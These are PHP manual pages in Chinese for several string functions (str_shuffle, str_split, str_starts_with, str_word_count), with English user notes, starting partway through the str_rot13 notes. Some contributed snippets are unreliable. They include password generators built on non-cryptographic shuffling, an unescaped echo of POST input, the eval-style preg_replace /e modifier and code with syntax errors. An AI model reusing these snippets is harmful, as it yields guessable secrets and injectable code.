echo 'Test 123 (4) -> '.rotn("Test 123", 4).'<br>'; // Xiwx$567
echo 'Test 123 (8) -> '.rotn("Test 123", 8).'<br>'; // \m{|(9:;
echo 'Test 123 (-4) -> '.rotn("Test 123", -4).'<br>'; // Paop-./

$value = rotn("Test 123", 8);
echo 'Test 123 (Reverse [8 then -8]) -> '.rotn($value, -8).'<br>'; // Test 123

?>
arthur at kuhrmeier dot com 29-Jun-2015 05:44
I was writing a function for my website to also rotate numbers, and kept expanding it. I added extra characters, the ability to define the shift in percent, and which type of characters to affect.

<?php
//================================================== STRING ROTATE EXPANDED
function str_shift ($string, $perc=50, $useextra=FALSE, $usedigits=TRUE, $useupper=TRUE, $uselower=TRUE) {
    static $chars = array(
        'lower' => 'abcdefghijklmnopqrstuvwxyz',
        'upper' => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
        'digits' => '0123456789',
        'extra' => ',.-()<>%/!"&=;:_[]{}#\\?\'+*',
    );
    settype($perc, 'float');
    if  (!$perc)  return $string;
    $perc = fmod((abs($perc) < 1 ? 100*$perc : $perc), 100);
    if  ($perc < 0)  $perc += 100;
    $use = (is_array($useextra) ? $useextra : array('lower'=>$uselower, 'upper'=>$useupper, 'digits'=>$usedigits, 'extra'=>$useextra));
    foreach ($chars as $type => $letters) {
        if  (!$use[$type])  continue;
        $shift = round(strlen($letters) * $perc / 100);
        $repl = substr($letters, $shift).substr($letters, 0, $shift);
        $string = strtr($string, $letters, $repl);
    }
    return $string;
}

//===== USAGE =====

string str_shift ( string $str [, float $percent [, bool $useextra [, bool $usedigits [, bool $uselower [, bool $useupper] ] ] ] ] )

string str_shift ( string $str [, float $percent [, array $usetypes ] ] )

$usetypes = array('lower'=>bool $uselower, 'upper'=>bool $useupper, 'digits'=>bool $usedigits, 'extra'=>bool $useextra);

//===== EXAMPLES =====

$string = "Peter's 17 pets (incl. 5 hamsters) love Dr Sarah Gibson, DVM!";
echo str_shift($string);
echo str_shift($string, 50, TRUE);
echo str_shift($string, -25, FALSE, FALSE);
echo str_shift($string, 1/3);
echo str_shift($string, 50, array('lower'=>TRUE, 'digits'=>TRUE));
?>

//===== RESULT =====

Crgre'f 62 crgf (vapy. 0 unzfgref) ybir Qe Fnenu Tvofba, QIZ!
Crgre"f 62 crgf [vapy: 0 unzfgref] ybir Qe Fnenu Tvofba; QIZ?
Jynyl'm 17 jynm (chwf. 5 bugmnylm) fipy Xl Mulub Acvmih, XPG!
Yncna'b 40 yncb (rwlu. 8 qjvbcnab) uxen Ma Bjajq Prkbxw, MEV!
Prgre'f 62 crgf (vapy. 0 unzfgref) ybir De Snenu Gvofba, DVM!

1. The basic parameters are the string and the percentage, 50 by default. The next four parameters allow to select which type of characters to process. There is a good reason why I put less common types first, and most obvious last. To activate extra characters you need only 1 additional parameter, otherwise you would need 4 enabling also the obvious types.

2. The definition for the letters and digits is obvious. For the extra characters I chose kind of pairs that make sense when shifted by 50%, e.g. () => [] or & => + etc. Of course you can adjust those characters to anything you like.

3. The first step is to clean the percentage, and also allow "real" floats, e.g. 1/3 for 33.33%.

4. The next step secures great flexibility when using the function. As described, instead of 4 boolean parameters you can pass 1 array. E.g. the array('upper' => TRUE) will enable the change of uppercase letters only.

5. Finally the function goes through every type and shifts the characters according to the given percentage.

I hope you can use this function and do some fancy stuff with it. Rotating characters doesn't really make sense, but it can be fun.

Arthur :-)
agente007_1_ at hotmail dot com 09-Jun-2015 02:48
/**
SALVAJE COMENTARIO EN ESPA?OL XD
*/

<?php

$cadena = $_POST['entrada'];

/**convierte en cadena*/
$array = str_split($cadena);

echo $cadena ."<br>";

for ($i=0; $i < count($array); $i++) {

if( $array[$i] >= "A" &&  $array[$i] <= "M" ){
$letra = ord($array[$i]);
$letra = $letra + 13;
echo chr($letra);
}

if( $array[$i] >= "N" &&  $array[$i] <= "Z" ){
$letra = ord($array[$i]);
$letra = $letra - 13;
echo chr($letra);
}

}

?>
steve 03-Jul-2013 09:37
Below is a short function that allows you to rotate a string which includes non alphabetic characters you choose.

By running the code without the second argument you can both obfuscate then de-obfuscate.  This isn't a safe form of encryption, just a quick way to hide stuff from the casual viewer.

function str_rot($s, $n = -1) {
    //Rotate a string by a number.
    static $letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789.,!$*+-?@#'; //To be able to de-obfuscate your string the length of this needs to be a multiple of 4 AND no duplicate characters
    $letterLen=round(strlen($letters)/2);
    if($n==-1) $n=(int)($letterLen/2); //Find the "halfway rotate point"
    $n = (int)$n % ($letterLen);
    if (!$n) return $s;
    if ($n < 0) $n += ($letterLen);
    //if ($n == 13) return str_rot13($s);
    $rep = substr($letters, $n * 2) . substr($letters, 0, $n * 2);
    return strtr($s, $letters, $rep);
}

$input="ABC123";
$output=str_rot($input);
echo $input." = ".$output." = ".str_rot($output)."<br>";
shaun 11-Feb-2012 02:44
I was reminded again of the desire for a generic str_rot function. Character manipulation loops in PHP are slow compared to their C counterparts, so here's a tuned version of the previous function I posted. It's 1.6 times as fast, mainly by avoiding chr() calls.

<?php
function str_rot($s, $n = 13) {
    static $letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $n = (int)$n % 26;
    if (!$n) return $s;
    if ($n == 13) return str_rot13($s);
    for ($i = 0, $l = strlen($s); $i < $l; $i++) {
        $c = $s[$i];
        if ($c >= 'a' && $c <= 'z') {
            $s[$i] = $letters[(ord($c) - 71 + $n) % 26];
        } else if ($c >= 'A' && $c <= 'Z') {
            $s[$i] = $letters[(ord($c) - 39 + $n) % 26 + 26];
        }
    }
    return $s;
}
?>

But using strtr() you can get something 10 times as fast as the above :

<?php
function str_rot($s, $n = 13) {
    static $letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz';
    $n = (int)$n % 26;
    if (!$n) return $s;
    if ($n < 0) $n += 26;
    if ($n == 13) return str_rot13($s);
    $rep = substr($letters, $n * 2) . substr($letters, 0, $n * 2);
    return strtr($s, $letters, $rep);
}
?>

This technique is faster because PHP's strtr is implemented in C using a byte lookup table (it has O(m + n) complexity). However, PHP 6 will use Unicode, so I guess(?) strtr will then have to be implemented with a search for each character (O(m * n)). Using strtr might still be faster since it offloads the character manipulation to C rather than PHP, but I don't really know. Take your pick.

Happy coding!

(Benchmark code):

<?php
for ($k = 0; $k < 10; $k++) {
    $s = 'The quick brown fox jumps over the lazy dog.';
    $t = microtime(1);
    for ($i = 0; $i < 1000; $i++) $s = str_rot($s, $i);
    $t = microtime(1) - $t;
    echo number_format($t, 3) . "\n";
}
?>
shaunspiller at spammenotgmail dot com 26-Sep-2009 08:54
Here's my implementation of a str_rot that takes a custom offset. It's faster than the others here because it allocates the output string in one go instead of tacking on characters one at a time. It can handle positive or negative offsets of any size, and it fixes everything up to ensure only upper and lower case letters are translated and that they wrap around correctly within the alphabet.

<?php
function str_rot($s, $n = 13) {
    $n = (int)$n % 26;
    if (!$n) return $s;
    for ($i = 0, $l = strlen($s); $i < $l; $i++) {
        $c = ord($s[$i]);
        if ($c >= 97 && $c <= 122) {
            $s[$i] = chr(($c - 71 + $n) % 26 + 97);
        } else if ($c >= 65 && $c <= 90) {
            $s[$i] = chr(($c - 39 + $n) % 26 + 65);
        }
    }
    return $s;
}
?>
peter at NOSPAM jamit dot com 07-Sep-2009 07:31
This ROT13 variant is different from my earlier version in that it retains 'ethnicity'. For example, a Chinese text when encrypted will remain Chinese, and the string will not be making sense (the real meaning will be encrypted). Just look at the code and you will understand.

<?php

function unichar2ords($char, $encoding = 'UTF-8') {
    $char = mb_convert_encoding($char, 'UCS-4', $encoding);
    $val = unpack('N', $char);
    return $val[1];
    }

function ords2unichar($ords, $encoding = 'UTF-8'){
    $char = pack('N', $ords);
    return mb_convert_encoding($char, $encoding, 'UCS-4');
    }

function mbStringToArray ($string, $encoding = 'UTF-8') {
    if (empty($string)) return false;
    for ($strlen = mb_strlen($string, $encoding); $strlen > 0; ) {
        $array[] = mb_substr($string, 0, 1, $encoding);
        $string  = mb_substr($string, 1, $strlen, $encoding);
        $strlen  = $strlen - 1;
        }
    return $array;
    }

function unicodeRotN($str, $offset, $encoding = 'UTF-8') {
    $val = '';
    $array = mbStringToArray ($str, $encoding = 'UTF-8');
    $len = count($array);
    for ($i = 0; $i < $len; $i++) {
        $val .= ords2unichar(unichar2ords($array[$i], $encoding) + $offset, $encoding);
        }
    return $val;
    }

// example

$original = '中國是我的家'; // means "China is my home"

$encrypted = unicodeRotN($string, 13); // 为團昼戞皑寃 means "? Ai injustice for the Mission Day" (Google translation)

$decrypted = unicodeRotN($encrypted, -13); // 中國是我的家

?>
peter at NOSPAM jamit dot com 07-Sep-2009 01:11
Here is my ROT13 function that works for all possible characters and not just ASCII. It can be used on Chinese, Japanese, ....

<?php

function rot13encrypt ($str) {
    return str_rot13(base64_encode($str));
    }

function rot13decrypt ($str) {
    return base64_decode(str_rot13($str));
    }

// example

$string = '中國是我的家';

$encrypted = rot13encrypt ($string); // produces 5Yvg5MlY5cvi5bvE55dR5n62

$decrypted = rot13decrypt ($encrypted); // produces 中國是我的家

?>
arwab at surrealwebs dot com 11-Jul-2007 01:11
here's my rot function, it works anyway
<?php
/**
 * preforms the rotation algorithm on the passed in string
 */
function _rot( $str , $dist=13 ){
    if( !is_numeric($dist) || $dist < 0){
        $dist = 13;
    }

    $u_lower =  65; $u_upper =  90;
    $l_lower =  97; $l_upper = 122;

    $char_count = ($u_upper - $u_lower) +1;

    while( $dist > $char_count ){
        $dist -= $char_count;
    }

    $newstr = '';

    for( $i=0; $i<strlen($str); ++$i){
        $c = ord($str[$i]);

        /*
         * Check if the character is within the bounds of our function (a-zA-z)
         * if not it gets tacked on to the string as is and we move on to the
         * next one.
         */
        if( $c<$u_lower || $c>$l_upper || ( $c>$u_upper && $c <$l_lower ) ){
            $newstr .= chr($c);
            continue;
        }

        $lower = ( $c<=$u_upper?$u_lower:$l_lower);
        $upper = ( $c<=$u_upper?$u_upper:$l_upper);

        $c += $dist;

        if( $c > $upper){
            $c = (($c - $upper) + ($lower-1));
        }

        $newstr .= chr($c);
    }

    return $newstr;
}
?>
electro at whatever dot com 31-May-2007 12:21
<?php

/**
 * Rotate each string characters by n positions in ASCII table
 * To encode use positive n, to decode - negative.
 * With n = 13 (ROT13), encode and decode n can be positive.
 *
 * @param string $string
 * @param integer $n
 * @return string
 */
function rotate($string, $n) {

    $length = strlen($string);
    $result = '';

    for($i = 0; $i < $length; $i++) {
        $ascii = ord($string{$i});

        $rotated = $ascii;

        if ($ascii > 64 && $ascii < 91) {
            $rotated += $n;
            $rotated > 90 && $rotated += -90 + 64;
            $rotated < 65 && $rotated += -64 + 90;
        } elseif ($ascii > 96 && $ascii < 123) {
            $rotated += $n;
            $rotated > 122 && $rotated += -122 + 96;
            $rotated < 97 && $rotated += -96 + 122;
        }

        $result .= chr($rotated);
    }

    return $result;
}

$enc = rotate('string', 6);
echo "Encoded: $enc<br/>\n";
echo 'Decoded: ' . rotate($enc, -6);

?>
maximius at gmail dot com 25-May-2007 04:30
Perhaps someone will find this useful ;)

<?
           function rotN($s, $n){
                $s2 = "";
                for($i = 0; $i < strlen($s); $i++){
                    $char2 = $char = ord($s{$i});
                    $cap = $char & 32;

                    $char &= ~ $cap;
                    $char = $char > 64 && $char < 123 ? (($char - 65 + $n) % 26 + 65) : $char;
                    $char |= $cap;
                    if($char < 65 && $char2 > 64 || ($char > 90 && $char < 97 && ($char2 < 91 || $char2 > 96))) $char += 26;
                    else if($char > 122 && $char2 < 123) $char -= 52;
                    if(strtoupper(chr($char2)) === chr($char2)) $char = strtoupper(chr($char)); else $char = strtolower(chr($char));
                    $s2 .= $char;
                }
                return $s2;
            }
?>
It takes any string, $s, and any ROT value, $n. Just like str_rot13, it's both an encoder and decoder. To decode an encoded string, just pass -$n instead of $n.


随机打乱一个字符串

  • ? str_rot13
  • str_split ?
  • PHP Manual
  • 字符串 函数
  • 随机打乱一个字符串

str_shuffle

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

str_shuffle — 随机打乱一个字符串

说明

str_shuffle(string $string): string

str_shuffle() 函数打乱一个字符串，使用任何一种可能的排序方案。

Caution

本函数并不会生成安全加密的值，并且不可用于加密或者要求返回值不可猜测的目的。

如果需要加密安全随机，则可以将 Random\Engine\Secure 引擎用于 Random\Randomizer。对于简单的用例，random_int() 和 random_bytes() 函数提供了操作系统的 CSPRNG 支持的方便且安全的 API。

参数

string

输入字符串。

返回值

返回打乱后的字符串。

更新日志

版本 | 说明
7.1.0 | 内置的随机算法从 libc rand 函数更改为 » 梅森旋转伪随机数生成算法。

示例

Example #1 str_shuffle() 示例

<?php
$str = 'abcdef';
$shuffled = str_shuffle($str);

// 输出类似于: bfdaec
echo $shuffled;
?>

参见

  • Random\Randomizer::shuffleBytes() - Get a byte-wise permutation of a string
  • Random\Randomizer::shuffleArray() - Get a permutation of an array

User Contributed Notes

ccb2357 at gmail dot com 14-Apr-2023 05:39
<?php
    function str_rand(int $length = 20) : string {
        $ascii_codes = range(48, 57) + range(97, 122);
        $codes_lenght = (count($ascii_codes)-1);
        shuffle($ascii_codes);
        $string = '';
        for($i = 1; $i <= $length; $i++){
            $previous_char = $char ?? '';
            $char = chr($ascii_codes[random_int(0, $codes_lenght)]);
            while($char == $previous_char){
                $char = chr($ascii_codes[random_int(0, $codes_lenght)]);
            }
            $string .= $char;
        }
        return str_shuffle($string);
    }
?>
wmtrader at yandex dot ru 23-May-2020 08:33
Unshuffle, using:
<?php
$string = "Hello World!";

$seed = 1234567890;
mt_srand($seed);

echo $sh = str_shuffle($string);  //print 'eloWHl rodl!'
echo str_unshuffle($sh, $seed); //print 'Hello World!'
?>

<?php
function str_unshuffle($str, $seed){
    $unique = implode(array_map('chr',range(0,254)));
    $none   = chr(255);
    $slen   = strlen($str);
    $c      = intval(ceil($slen/255));
    $r      = '';
    for($i=0; $i<$c; $i++){
        $aaa = str_repeat($none, $i*255);
        $bbb = (($i+1)<$c) ? $unique : substr($unique, 0, $slen%255);
        $ccc = (($i+1)<$c) ? str_repeat($none, strlen($str)-($i+1)*255) : "";
        $tmp = $aaa.$bbb.$ccc;
        mt_srand($seed);
        $sh  = str_shuffle($tmp);
        for($j=0; $j<strlen($bbb); $j++){
            $r .= $str{strpos($sh, $unique{$j})};
        }
    }
    return $r;
}
kundanborakb at gmail dot com 16-Apr-2020 11:35
<?php

//get random string with your desire length

    function getRandom($length){

        $str = 'abcdefghijklmnopqrstuvwzyz';
        $str1= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $str2= '0123456789';
        $shuffled = str_shuffle($str);
        $shuffled1 = str_shuffle($str1);
        $shuffled2 = str_shuffle($str2);
        $total = $shuffled.$shuffled1.$shuffled2;
        $shuffled3 = str_shuffle($total);
        $result= substr($shuffled3, 0, $length);

        return $result;

    }

    echo getRandom(8);

//output -->
//GATv3JPX
//g7AzhDtR
//DTboKtiL
//CuWZR4cs
//tmTXbzBC

?>
Anonymous 18-Oct-2019 01:08
As noted in this documentation str_shuffle is NOT cryptographically secure, however I have seen many code examples online of people using nothing more than this to generate say random passwords.  So I though I'd share my function which while it makes use of str_shuffle also rely's on random_int() for added security. I use this function to generate salts to use when working with hashes but it can also be used to generate default passwords for new users for example.

It starts with a universe of possible characters, in this case all letters (upper and lower case), 0-9, and several special characters.

It then will run str_shuffle on the universe of characters a random number of times, using random_int() (currently set to 1-10)

Then once the universe of possible characters has been shuffled it using random_int() once more to select the character as a random position within the shuffled string, as does that once for each character you want in the output.

 function secret_gen( $len=64 ) {
    $secret = "";
    $charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_-+=`~,<>.[]: |';
    for ( $x = 1l $x <= random_int( 1, 10 ), $x++ ){
        $charset = str_shuffle( $charset );
    }
    for ( $s = 1; $s <= $len; $s++ ) {
        $secret .= substr( $charset, random_int( 0, 86 ), 1 );
    }
    return $secret;
}
ronald 04-Oct-2015 11:44
This page is missing a very important notice:

Caution

This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using random_int(), random_bytes(), or openssl_random_pseudo_bytes() instead.
blamoo2 at hotmail dot com 15-Jul-2015 01:35
This function is affected by srand():

<?php
srand(12345);
echo str_shuffle('Randomize me') . '<br/>'; // "demmiezr aon"
echo str_shuffle('Randomize me') . '<br/>'; // "izadmeo rmen"

srand(12345);
echo str_shuffle('Randomize me') . '<br/>'; // "demmiezr aon" again
?>
krzysiekpiasecki at gmail dot com 23-May-2015 09:06
/**
 * Test shuffleString
 */
function testShuffleString() {
    $shuffled = shuffleString("????ó");
    if (\mb_strlen($shuffled) != 5) {
        throw new \UnexpectedValueException("Invalid count of characters");
    }
    if ($shuffled == "????ó") {
        throw new \UnexpectedValueException("The same string");
    }
    foreach (["?", "?", "?", "?", "ó"] as $char) {
        if (\mb_strpos($shuffled, $char) === false) {
            throw new \UnexpectedValueException("Character not found");
        }
    }
}

/**
 * Shuffle string
 *
 * @param $stringValue String to shuffle
 * @param string $startWith Shuffle $stringValue and append to $startWith
 * @return string Shuffled string
 * @author Krzysztof Piasecki<krzysiekpiasecki@gmail.com>
 */
function shuffleString($stringValue, $startWith = "") {
    $range = \range(0, \mb_strlen($stringValue));
    shuffle($range);
    foreach($range as $index) {
        $startWith .= \mb_substr($stringValue, $index, 1);
    }
    return $startWith;
};

testShuffleString();

echo shuffleString("Hello"); // > 'elHol' (something like this)
echo shuffleString("World!", "Hello "); // > 'Hello do!lrW' (something like this)
Anonymous 14-Oct-2014 05:35
str_shuffle isn't recommendable for passwords. Each character exists only one time).

A function like the following one is better for this.

<?php
    function generatePassword($length = 8) {
        $possibleChars = "abcdefghijklmnopqrstuvwxyz";
        $password = '';

        for($i = 0; $i < $length; $i++) {
            $rand = rand(0, strlen($possibleChars) - 1);
            $password .= substr($possibleChars, $rand, 1);
        }

        return $password;
    }
?>
qeremy [atta] gmail [dotta] com 24-Feb-2012 11:58
A proper unicode string shuffle;

<?php
function str_shuffle_unicode($str) {
    $tmp = preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
    shuffle($tmp);
    return join("", $tmp);
}
?>

$str = "?eker yarim"; // My sweet love

echo str_shuffle($str); // i?eymr?ekr ?

echo str_shuffle_unicode($str); // ?r mreyeika
Anonymous 21-Jun-2010 10:32
Shuffle for all encoding formats

<?php

function unicode_shuffle($string, $chars, $format = 'UTF-8')
{
    for($i=0; $i<$chars; $i++)
        $rands[$i] = rand(0, mb_strlen($string, $format));

        $s = NULL;

    foreach($rands as $r)
        $s.= mb_substr($string, $r, 1, $format);

    return $s;
}

?>
jojersztajner at OXYGEN dot POLAND 16-Jun-2007 03:27
Aoccdrnig to rseearch at an Elingsh uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoatnt tihng is that the frist and lsat ltteer is at the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae we do not raed ervey lteter by it slef but the wrod as a wlohe.

Hree's a cdoe taht slerbmcas txet in tihs way:
<?php
    function scramble_word($word) {
        if (strlen($word) < 2)
            return $word;
        else
            return $word{0} . str_shuffle(substr($word, 1, -1)) . $word{strlen($word) - 1};
    }

    echo preg_replace('/(\w+)/e', 'scramble_word("\1")', 'A quick brown fox jumped over the lazy dog.');
?>

It may be ufseul if you wnat to cetare an aessblicce CTCPAHA.
CygnusX1 14-Feb-2007 01:17
To cobine functionality and simplicity of the two functions below we can have:

<?php
function generatePasswd($numAlpha=6,$numNonAlpha=2)
{
   $listAlpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
   $listNonAlpha = ',;:!?.$/*-+&@_+;./*&?$-!,';
   return str_shuffle(
      substr(str_shuffle($listAlpha),0,$numAlpha) .
      substr(str_shuffle($listNonAlpha),0,$numNonAlpha)
    );
}
?>
dzafel at op dot pl 29-Dec-2006 01:16
Very, very simple random password generator, without using rand() function:

<?php
function random_password($chars = 8) {
   $letters = 'abcefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
   return substr(str_shuffle($letters), 0, $chars);
}
?>
Michiel van den boogaard 17-Jan-2005 02:03
Shortend function for PHP < 4.3
<?php
function RandomPass($numchar)
{
    $word = "a,b,c,d,e,f,g,h,i,j,k,l,m,1,2,3,4,5,6,7,8,9,0";
    $array=explode(",",$word);
    shuffle($array);
    $newstring = implode($array,"");
    return substr($newstring, 0, $numchar);
}
?>


将字符串转换为数组

  • ? str_shuffle
  • str_starts_with ?
  • PHP Manual
  • 字符串 函数
  • 将字符串转换为数组

str_split

(PHP 5, PHP 7, PHP 8)

str_split — 将字符串转换为数组

说明

str_split(string $string, int $length = 1): array

将一个字符串转换为数组。

参数

string

输入字符串。

length

每一段的长度。

返回值

如果指定了可选的 length 参数，返回数组中的每个元素长度均为 length 的块，除了最后一个块，如果字符串不是均匀划分，则可能会更短。默认 length 是 1，这意味着每个块的大小是一个字节。

错误／异常

如果 length 小于 1，将会抛出 ValueError。

更新日志

版本 | 说明
8.2.0 | 如果 string 为空，现在返回空 array。之前返回的 array 包含单个空字符串。
8.0.0 | 如果 length 小于 1，现在会抛出 ValueError；之前会触发 E_WARNING 级别的错误且函数会返回 false。

示例

Example #1 str_split() 使用示例

<?php

$str = "Hello Friend";

$arr1 = str_split($str);
$arr2 = str_split($str, 3);

print_r($arr1);
print_r($arr2);

?>

以上示例会输出：

Array
(
    [0] => H
    [1] => e
    [2] => l
    [3] => l
    [4] => o
    [5] =>
    [6] => F
    [7] => r
    [8] => i
    [9] => e
    [10] => n
    [11] => d
)

Array
(
    [0] => Hel
    [1] => lo
    [2] => Fri
    [3] => end
)

注释

Note:

在处理多字节字符时，str_split() 会按字节数转换，而非字符数。使用 mb_str_split() 将字符串拆分为码点。

参见

  • mb_str_split() - 指定多字节字符串，返回其字符数组
  • chunk_split() - 将字符串分割成小块
  • preg_split() - 通过一个正则表达式分隔字符串
  • explode() - 使用一个字符串分割另一个字符串
  • count_chars() - 返回字符串所用字符的信息
  • str_word_count() - 返回字符串中单词的使用情况
  • for

User Contributed Notes

Julian 14-Feb-2023 09:41
The function str_split() is not 'aware' of words. Here is an adaptation of str_split() that is 'word-aware'.

<?php

$array =  str_split_word_aware(
    'In the beginning God created the heaven and the earth. And the earth was without form, and void; and darkness was upon the face of the deep.',
    32
);

var_dump($array);

/**
  * This function is similar to str_split() but this function keeps words intact; it never splits through a word.
  *
  * @return array<int, string>
  */
function str_split_word_aware(string $string, int $maxLengthOfLine): array
{
    if ($maxLengthOfLine <= 0) {
        throw new RuntimeException(sprintf('The function %s() must have a max length of line at least greater than one', __FUNCTION__));
    }

    $lines = [];
    $words = explode(' ', $string);

    $currentLine = '';
    $lineAccumulator = '';
    foreach ($words as $currentWord) {

        $currentWordWithSpace = sprintf('%s ', $currentWord);
        $lineAccumulator .= $currentWordWithSpace;
        if (strlen($lineAccumulator) < $maxLengthOfLine) {
            $currentLine = $lineAccumulator;
            continue;
        }

        $lines[] = $currentLine;

        // Overwrite the current line and accumulator with the current word
        $currentLine = $currentWordWithSpace;
        $lineAccumulator = $currentWordWithSpace;
    }

    if ($currentLine !== '') {
        $lines[] = $currentLine;
    }

    return $lines;
}

?>

OUTPUT:

<?php

array(5) {
  [0]=> string(29) "In the beginning God created "
  [1]=> string(30) "the heaven and the earth. And "
  [2]=> string(28) "the earth was without form, "
  [3]=> string(27) "and void; and darkness was "
  [4]=> string(27) "upon the face of the deep. "
}

?>
alex-glebe at mail dot ru 03-Jan-2023 11:44
Empty string Does'n returns Empty array!

$arr0 = str_split("");
print_r($arr0);

 Array
(
    [0] =>
)
lskatz at gmail dot com 07-May-2008 11:42
A good use of str_split is reverse translating an amino acid sequence.

<?php
/* reverse translate an aa sequence using its dna counterpart */
function reverseTranslate($aaSeq,$ntSeq){
  $nt=str_split($ntSeq,3);
  $aa=str_split($aaSeq,1);
  $gapChar=array('*','-');

  $numAa=count($aa);
  $ntIndex=0;
  $newNtSeq="";
  for($i=0;$i<$numAa;$i++){
    // if the aa is a gap, then just put on a gap character
    if(in_array($aa[$i],$gapChar)){
      $newNtSeq.='---';
    }
    else{
      $newNtSeq.=$nt[$ntIndex];
      $ntIndex++;
    }
  }
  return $newNtSeq;
}
?>


检查字符串是否以指定子串开头

  • ? str_split
  • str_word_count ?
  • PHP Manual
  • 字符串 函数
  • 检查字符串是否以指定子串开头

str_starts_with

(PHP 8)

str_starts_with — 检查字符串是否以指定子串开头

说明

str_starts_with(string $haystack, string $needle): bool

执行大小写区分的检查，表明 haystack 是否以 needle 开头。

参数

haystack

在其中搜索的字符串。

needle

要在 haystack 中搜索的子串。

返回值

如果 haystack 以 needle 开头，返回 true，否则返回 false。

示例

Example #1 使用空字符串 ''

<?php
if (str_starts_with('abc', '')) {
echo "All strings start with the empty string";
}
?>

以上示例会输出：

All strings start with the empty string

Example #2 展示大小写区分

<?php
$string = 'The lazy fox jumped over the fence';

if (str_starts_with($string, 'The')) {
echo "The string starts with 'The'\n";
}

if (str_starts_with($string, 'the')) {
echo 'The string starts with "the"';
} else {
echo '"the" was not found because the case does not match';
}

?>

以上示例会输出：

The string starts with 'The'
"the" was not found because the case does not match

注释

Note: 此函数可安全用于二进制对象。

参见

  • str_contains() - 确定字符串是否包含指定子串
  • str_ends_with() - 检查字符串是否以指定子串结尾
  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置
  • strripos() - 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
  • strstr() - 查找字符串的首次出现
  • strpbrk() - 在字符串中查找一组字符的任何一个字符
  • substr() - 返回字符串的子串
  • preg_match() - 执行匹配正则表达式

User Contributed Notes

There are no user contributed notes for this page.


返回字符串中单词的使用情况

  • ? str_starts_with
  • strcasecmp ?
  • PHP Manual
  • 字符串 函数
  • 返回字符串中单词的使用情况

str_word_count

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

str_word_count — 返回字符串中单词的使用情况

说明

str_word_count(string $string, int $format = 0, ?string $characters = null): array|int

统计 string 中单词的数量。如果可选的参数 format 没有被指定，那么返回值是一个代表单词数量的整型数。如果指定了 format 参数，返回值将是一个数组，数组的内容则取决于 format 参数。format 的可能值和相应的输出结果如下所列。

对于这个函数的目的来说，单词的定义是一个与区域设置相关的字符串。这个字符串可以包含字母字符，也可以包含 "'" 和 "-" 字符（但不能以这两个字符开始）。 请注意，不支持多字节编码的字符串。

参数

string

字符串。

format

指定函数的返回值。当前支持的值如下：

  • 0 - 返回单词数量
  • 1 - 返回一个包含 string 中全部单词的数组
  • 2 - 返回关联数组。数组的键是单词在 string 中出现的数值位置，数组的值是这个单词

characters

附加的字符串列表，其中的字符将被视为单词的一部分。

返回值

返回一个数组或整型数，这取决于 format 参数的选择。

更新日志

版本 | 说明
8.0.0 | characters 可为空（Nullable）类型。

示例

Example #1 str_word_count() 示例

<?php

$str = "Hello fri3nd, you're
looking good today!";

print_r(str_word_count($str, 1));
print_r(str_word_count($str, 2));
print_r(str_word_count($str, 1, 'àá??3'));

echo str_word_count($str);

?>

以上示例会输出：

Array
(
    [0] => Hello
    [1] => fri
    [2] => nd
    [3] => you're
    [4] => looking
    [5] => good
    [6] => today
)

Array
(
    [0] => Hello
    [6] => fri
    [10] => nd
    [14] => you're
    [29] => looking
    [46] => good
    [51] => today
)

Array
(
    [0] => Hello
    [1] => fri3nd
    [2] => you're
    [3] => looking
    [4] => good
    [5] => today
)

7

参见

  • explode() - 使用一个字符串分割另一个字符串
  • preg_split() - 通过一个正则表达式分隔字符串
  • count_chars() - 返回字符串所用字符的信息
  • substr_count() - 计算字串出现的次数

User Contributed Notes

amosbatto at yahoo dot com 23-Feb-2021 03:26
//To get an accurate word count in English, some diacritical marks have
// to be added for words like née, Chlo?, na?ve, co?pt, fa?ade, pi?ata, etc.
$count = str_word_count($str, 0, 'é?????é?????');

//To get the word count for any European language using a Roman alphabet:
$count = str_word_count($str, 0, '????ü????üá??éí?ńó??ú?á??éí??ó??ú?'.
   'àèìòùàèìòù????????????aê????ê???????????????????'.
   'āēīōūāēīōū????????????????????yY??tT?????I??'.
   '??ě?ň??????ě????????eD????????????????????????????????');
dev dot vegera at gmail dot com 22-Oct-2020 08:16
preg_match_all based function to mimic str_word_count behavior:

<?php
function mb_str_word_count($str, $format = 2, $charlist = '') {
  if ($format < 0 || $format > 2) {
    throw new InvalidArgumentException('Argument #2 ($format) must be a valid format value');
  }
  $count = preg_match_all('#[\p{L}\p{N}][\p{L}\p{N}\'' . $charlist . ']*#u', $str, $matches, $format === 2 ? PREG_OFFSET_CAPTURE : PREG_PATTERN_ORDER);
  if ($format === 0) {
    return $count;
  }
  $matches = $matches[0] ?? [];
  if ($format === 2) {
    $result = [];
    foreach ($matches as $match) {
      $result[$match[1]] = $match[0];
    }
    return $result;
  }
  return $matches;
}
?>
php dot net at salagir dot com 08-Jan-2018 04:09
This function doesn't handle  accents, even in a locale with accent.
<?php
echo str_word_count("Is working"); // =2

setlocale(LC_ALL, 'fr_FR.utf8');
echo str_word_count("Not w?rking"); // expects 2, got 3.
?>

Cito solution treats punctuation as words and thus isn't a good workaround.
<?php
function str_word_count_utf8($str) {
      return count(preg_split('~[^\p{L}\p{N}\']+~u',$str));
}
echo str_word_count_utf8("Is w?rking"); //=2
echo str_word_count_utf8("Not w?rking."); //=3
?>

My solution:
<?php
function str_word_count_utf8($str) {
